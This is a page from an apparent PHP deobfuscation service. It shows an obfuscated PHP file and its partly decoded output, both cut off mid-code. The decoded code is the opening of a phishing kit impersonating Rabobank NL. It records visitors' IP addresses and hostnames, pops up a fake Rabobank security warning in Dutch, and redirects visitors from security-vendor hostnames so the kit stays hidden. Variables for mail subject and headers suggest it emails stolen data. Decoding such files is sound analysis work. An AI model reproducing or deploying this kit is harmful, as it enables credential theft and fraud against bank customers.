Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47\x4cO\x42\x41\x4cS"}["y\x78\x68\x65n\x77\x6c"]="\x6d\x61a\x6ed";${"G\x4cO\x42..

Decoded Output download

<?php ${"GLOBALS"}["yxhenwl"]="maand";${"GLOBALS"}["opkszps"]="jaar";${"GLOBALS"}["gljsorp"]="maand_vh_jaar";${"GLOBALS"}["fefjsvythlk"]="dag";${"GLOBALS"}["gyfsldxgq"]="maanden";${"GLOBALS"}["itiphblvg"]="dagen";${"GLOBALS"}["qmovdmq"]="uur";${"GLOBALS"}["tyrdpsyryx"]="dedag1";${"GLOBALS"}["ojdnozggp"]="tijd";${"GLOBALS"}["yblmbzpuq"]="rsn";${"GLOBALS"}["hkkrpmcb"]="message";${"GLOBALS"}["wbqpgxpmff"]="_res";${"GLOBALS"}["iprlgcbfbcqx"]="adres";${"GLOBALS"}["nwrffsf"]="adres_res";${"GLOBALS"}["kynhwyoloz"]="fulldate";${"GLOBALS"}["xqhfruw"]="adje";${"GLOBALS"}["kcjvcutfwxi"]="to";${"GLOBALS"}["tiglrm"]="plc";${"GLOBALS"}["txjrsqtictd"]="headers";${"GLOBALS"}["rvsqtwjyznyv"]="date";${"GLOBALS"}["gpxognwscvzr"]="n2";${"GLOBALS"}["kciknxtgthf"]="n1";${"GLOBALS"}["jhddevoq"]="n0";${"GLOBALS"}["npgvxmryeyv"]="subject";${"GLOBALS"}["gggzrk"]="rand";${"GLOBALS"}["vhqrhtqvz"]="psc";${"GLOBALS"}["jqqgnyjpwt"]="str";${"GLOBALS"}["mgqsurei"]="psnm";${"GLOBALS"}["nxaxwocy"]="rknm";${"GLOBALS"}["txcatqkyw"]="sql";${"GLOBALS"}["jaguyy"]="res";${"GLOBALS"}["vkxdkkja"]="conn";${"GLOBALS"}["urmjdbnvmu"]="displayform";${"GLOBALS"}["erdkrgejo"]="link";${"GLOBALS"}["wrnukb"]="agent";$cqeudpcw="ip";$ytanancbw="hostname";${"GLOBALS"}["avnwikcvhj"]="hostname";${"GLOBALS"}["wxzysun"]="hostname";${"GLOBALS"}["pfhineewh"]="ip";${"GLOBALS"}["zwgbdimu"]="ip";${"GLOBALS"}["umednhjctpvg"]="hostname";${"GLOBALS"}["bthmlnpnkszk"]="ddate";$tguvaurpqden="ip";$eytulwil="date";date_default_timezone_set("Europe/Amsterdam");$abbmnloktw="ip";${$eytulwil}=date("d/m/Y H:i",time());${${"GLOBALS"}["bthmlnpnkszk"]}=date("d/m/Y");${$tguvaurpqden}=getenv("REMOTE_ADDR");${${"GLOBALS"}["umednhjctpvg"]}=gethostbyaddr(${${"GLOBALS"}["pfhineewh"]});if(isset($_SERVER["HTTP_USER_AGENT"])){${${"GLOBALS"}["wrnukb"]}=$_SERVER["HTTP_USER_AGENT"];if(strlen(strstr(${${"GLOBALS"}["wrnukb"]},"Edge"))>0){echo"<script>alert(\"Belangrijk: Volgens onze detectiesysteem wilt u nu gaan internetbankieren met de webbrowser van Microsoft Edge. Wij raden u af om met deze webbrowser door te gaan, i.v.m. een groot beveiligingslek. Sluit het venster en gebruik Google Chrome of Mozilla FireFox. Excuses voor het ongemak, Rabobank NL."); window.close();</script>";}${${"GLOBALS"}["erdkrgejo"]}="https://bankieren.rabobank.nl";}${"GLOBALS"}["ytftygtdzv"]="ip";${"GLOBALS"}["bvchqekuxwia"]="hostname";${"GLOBALS"}["seejjcescdfj"]="ip";if(preg_match("/avrotros/",${${"GLOBALS"}["avnwikcvhj"]})){header("location: http://jorntvanderwiel.is-gay.com/");}if(preg_match("/barracuda/",${$ytanancbw})){header("location: http:// ?>

Did this file decode correctly?

Original Code

<?php ${"\x47\x4cO\x42\x41\x4cS"}["y\x78\x68\x65n\x77\x6c"]="\x6d\x61a\x6ed";${"G\x4cO\x42A\x4cS"}["\x6fp\x6b\x73\x7a\x70s"]="ja\x61\x72";${"GLO\x42AL\x53"}["g\x6c\x6a\x73\x6f\x72\x70"]="\x6da\x61\x6e\x64\x5fv\x68\x5f\x6a\x61a\x72";${"GLO\x42\x41\x4cS"}["\x66\x65fj\x73\x76\x79\x74hlk"]="dag";${"\x47\x4c\x4f\x42\x41L\x53"}["\x67\x79\x66\x73\x6cd\x78gq"]="\x6da\x61\x6e\x64\x65\x6e";${"\x47\x4cOB\x41L\x53"}["\x69\x74\x69p\x68\x62lv\x67"]="\x64\x61\x67en";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x71\x6do\x76\x64\x6dq"]="\x75ur";${"\x47L\x4f\x42ALS"}["\x74\x79\x72\x64\x70sy\x72\x79x"]="\x64\x65\x64\x61\x67\x31";${"GL\x4fBA\x4c\x53"}["\x6f\x6a\x64\x6eo\x7aggp"]="\x74\x69\x6a\x64";${"\x47L\x4f\x42A\x4cS"}["\x79bl\x6d\x62\x7a\x70\x75\x71"]="\x72\x73n";${"\x47\x4cO\x42A\x4cS"}["h\x6b\x6b\x72\x70\x6d\x63\x62"]="mes\x73age";${"\x47\x4cO\x42AL\x53"}["\x77\x62\x71p\x67\x78\x70\x6df\x66"]="_r\x65s";${"\x47\x4cO\x42A\x4c\x53"}["\x69\x70r\x6cg\x63\x62f\x62c\x71x"]="a\x64\x72\x65\x73";${"\x47\x4c\x4f\x42\x41LS"}["\x6e\x77\x72f\x66\x73f"]="\x61\x64r\x65\x73\x5fr\x65s";${"G\x4cO\x42\x41\x4cS"}["kynh\x77\x79\x6fl\x6fz"]="\x66ul\x6cd\x61\x74e";${"\x47\x4cO\x42\x41\x4c\x53"}["\x78q\x68\x66\x72\x75\x77"]="\x61d\x6a\x65";${"\x47L\x4fB\x41L\x53"}["\x6b\x63\x6a\x76\x63\x75\x74fw\x78\x69"]="\x74\x6f";${"\x47L\x4fB\x41\x4c\x53"}["t\x69g\x6c\x72\x6d"]="\x70\x6c\x63";${"GLO\x42\x41L\x53"}["\x74xjr\x73\x71t\x69ct\x64"]="\x68e\x61\x64\x65\x72s";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72\x76s\x71t\x77\x6a\x79\x7any\x76"]="\x64\x61te";${"\x47L\x4f\x42\x41L\x53"}["gp\x78\x6f\x67\x6e\x77\x73\x63\x76z\x72"]="\x6e\x32";${"GLO\x42\x41\x4c\x53"}["\x6b\x63i\x6b\x6ex\x74gt\x68\x66"]="\x6e1";${"\x47\x4cO\x42\x41\x4c\x53"}["\x6ah\x64\x64\x65\x76\x6f\x71"]="n\x30";${"\x47LO\x42\x41\x4cS"}["\x6e\x70\x67\x76\x78m\x72\x79\x65\x79\x76"]="\x73\x75\x62j\x65\x63\x74";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x67g\x67\x7a\x72\x6b"]="\x72\x61\x6e\x64";${"\x47L\x4f\x42\x41\x4c\x53"}["vhq\x72\x68\x74q\x76\x7a"]="p\x73\x63";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6a\x71qg\x6e\x79j\x70\x77\x74"]="\x73\x74\x72";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["m\x67\x71\x73u\x72\x65i"]="\x70s\x6em";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["n\x78\x61\x78\x77\x6fc\x79"]="\x72\x6bnm";${"\x47\x4c\x4fB\x41\x4cS"}["\x74\x78c\x61\x74\x71ky\x77"]="\x73ql";${"G\x4cO\x42\x41\x4c\x53"}["\x6a\x61gu\x79\x79"]="\x72\x65\x73";${"GL\x4f\x42\x41L\x53"}["\x76\x6b\x78\x64\x6bk\x6a\x61"]="c\x6fnn";${"G\x4cOB\x41L\x53"}["\x75r\x6d\x6a\x64\x62\x6e\x76\x6du"]="\x64\x69s\x70\x6c\x61\x79fo\x72\x6d";${"\x47\x4c\x4fB\x41LS"}["erdk\x72g\x65\x6a\x6f"]="li\x6e\x6b";${"GLO\x42\x41LS"}["\x77rn\x75\x6b\x62"]="a\x67\x65\x6et";$cqeudpcw="\x69\x70";$ytanancbw="\x68o\x73tn\x61me";${"\x47L\x4fBALS"}["\x61vnwi\x6b\x63\x76h\x6a"]="\x68\x6fs\x74n\x61\x6d\x65";${"G\x4c\x4f\x42\x41L\x53"}["w\x78\x7a\x79\x73u\x6e"]="\x68\x6f\x73\x74n\x61\x6de";${"G\x4c\x4fBA\x4cS"}["p\x66\x68\x69ne\x65\x77\x68"]="\x69\x70";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x7a\x77g\x62\x64\x69m\x75"]="\x69\x70";${"\x47\x4c\x4f\x42AL\x53"}["\x75\x6d\x65\x64n\x68\x6a\x63tp\x76g"]="h\x6fstn\x61m\x65";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x62\x74\x68\x6dl\x6ep\x6e\x6bs\x7ak"]="ddat\x65";$tguvaurpqden="\x69p";$eytulwil="date";date_default_timezone_set("Eur\x6f\x70e/Amst\x65rda\x6d");$abbmnloktw="i\x70";${$eytulwil}=date("d/m/Y \x48:\x69",time());${${"\x47L\x4f\x42\x41\x4cS"}["\x62t\x68\x6dl\x6e\x70\x6ek\x73\x7a\x6b"]}=date("d/m/\x59");${$tguvaurpqden}=getenv("RE\x4d\x4fTE_\x41D\x44\x52");${${"\x47\x4c\x4f\x42\x41L\x53"}["um\x65\x64\x6eh\x6a\x63t\x70v\x67"]}=gethostbyaddr(${${"\x47LO\x42\x41\x4c\x53"}["\x70\x66h\x69n\x65ewh"]});if(isset($_SERVER["\x48\x54T\x50_\x55SE\x52_AGE\x4eT"])){${${"\x47\x4cO\x42AL\x53"}["\x77\x72\x6e\x75\x6b\x62"]}=$_SERVER["\x48T\x54P_US\x45\x52\x5fA\x47\x45\x4eT"];if(strlen(strstr(${${"GL\x4fBA\x4c\x53"}["\x77\x72\x6e\x75k\x62"]},"Edge"))>0){echo"<scr\x69pt>al\x65rt(\"\x42el\x61\x6e\x67r\x69\x6a\x6b:\x20\x56\x6f\x6cg\x65ns\x20on\x7a\x65 \x64\x65\x74ectie\x73\x79\x73te\x65m\x20\x77i\x6c\x74\x20\x75 nu g\x61an \x69nter\x6e\x65tba\x6ek\x69\x65\x72en m\x65t\x20de \x77\x65b\x62row\x73\x65\x72 van \x4dicr\x6f\x73\x6ff\x74 E\x64\x67\x65.\x20\x57ij\x20r\x61\x64\x65n u\x20af \x6f\x6d\x20m\x65\x74 \x64\x65\x7ae\x20\x77\x65b\x62\x72\x6f\x77s\x65r\x20\x64\x6f\x6f\x72 t\x65\x20ga\x61n, i.\x76.m. \x65\x65n g\x72o\x6ft\x20\x62eveilig\x69\x6e\x67\x73le\x6b. S\x6c\x75it \x68e\x74\x20\x76\x65\x6es\x74er e\x6e\x20g\x65\x62r\x75\x69\x6b Go\x6f\x67\x6ce C\x68rome of\x20M\x6f\x7ail\x6ca\x20Fire\x46\x6fx. Ex\x63u\x73\x65\x73 \x76o\x6fr het\x20ongemak, R\x61b\x6fban\x6b \x4e\x4c.\x22); \x77\x69nd\x6f\x77.c\x6c\x6fse();\x3c/sc\x72ip\x74\x3e";}${${"\x47\x4c\x4fBA\x4c\x53"}["\x65\x72\x64\x6br\x67e\x6ao"]}="ht\x74ps://\x62an\x6bier\x65\x6e.rab\x6fba\x6e\x6b.\x6el";}${"G\x4cO\x42\x41\x4cS"}["\x79\x74f\x74y\x67t\x64z\x76"]="\x69\x70";${"\x47L\x4f\x42A\x4c\x53"}["\x62\x76\x63h\x71\x65ku\x78\x77\x69\x61"]="h\x6f\x73\x74\x6e\x61\x6de";${"G\x4c\x4f\x42AL\x53"}["\x73\x65ej\x6a\x63\x65\x73\x63\x64\x66\x6a"]="\x69\x70";if(preg_match("/\x61v\x72otro\x73/",${${"GL\x4f\x42\x41\x4c\x53"}["avnw\x69k\x63\x76hj"]})){header("lo\x63a\x74i\x6f\x6e: \x68\x74t\x70://\x6a\x6frn\x74\x76\x61\x6e\x64er\x77\x69\x65\x6c\x2eis-ga\x79.\x63o\x6d/");}if(preg_match("/ba\x72\x72ac\x75da/",${$ytanancbw})){header("\x6coca\x74i\x6fn:\x20h\x74\x74\x70://

Function Calls

None

Variables

None

Stats

MD5 7fdbdbb0eb91e935ba65ab10cd6de4ca
Eval Count 0
Decode Time 87 ms